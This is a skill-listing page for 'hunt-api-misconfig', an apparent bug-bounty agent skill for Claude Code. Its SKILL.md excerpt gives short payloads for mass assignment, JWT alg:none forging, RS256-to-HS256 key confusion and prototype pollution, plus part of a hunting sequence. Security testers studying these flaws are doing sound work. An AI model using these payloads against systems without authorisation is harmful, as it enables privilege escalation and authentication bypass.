Tooluck logoTooluck
SKILL.md

hunt-api-misconfig

Agent skill fromelementalsouls/Claude-BugHunter

Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).

How to install hunt-api-misconfig

install hunt-api-misconfig
# install the Claude-BugHunter pack with the skills CLI
npx skills add elementalsouls/Claude-BugHunter

# or add only this skill to Claude Code: copy the folder

skills/hunt-api-misconfig/

# into

~/.claude/skills/hunt-api-misconfig/ (all projects)

.claude/skills/hunt-api-misconfig/ (one project)

skills/hunt-api-misconfig/SKILL.md

MITFull file
1## 12. API SECURITY MISCONFIGURATION
2
3### Mass Assignment
4```javascript
5User.update(req.body) // body has {"role": "admin"} → privilege escalation
6```
7
8### JWT None Algorithm
9```python
10header = {"alg": "none", "typ": "JWT"}
11payload = {"sub": 1, "role": "admin"}
12token = base64(header) + "." + base64(payload) + "." # no signature
13```
14
15### JWT RS256 → HS256 Algorithm Confusion
16```python
17# Get server's public key from /.well-known/jwks.json
18# Sign token with public key as HMAC secret
19token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
20# Server uses RS256 key as HS256 secret → accepts it
21```
22
23### Prototype Pollution
24```javascript
25// Server-side — Node.js merge without protection
26{"__proto__": {"admin": true}}
27{"constructor": {"prototype": {"admin": true}}}
28// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
29```
30
31For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
32JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
33or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype
34state reaches a later operation.
35
36Hunt sequence:
37
381. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.
39 Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
402. **Pollute harmless marker properties.** Send variants such as:
41
42```
43…

Excerpt shown under the repository's MIT license.

More skills in Claude-BugHunter

Keep exploring

Similar skill repositories

thedotmack /

claude-mem
116k

Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More

CCCXGHGM+135 skills

Newsletter

Join the Community

Subscribe to our newsletter for the latest news and updates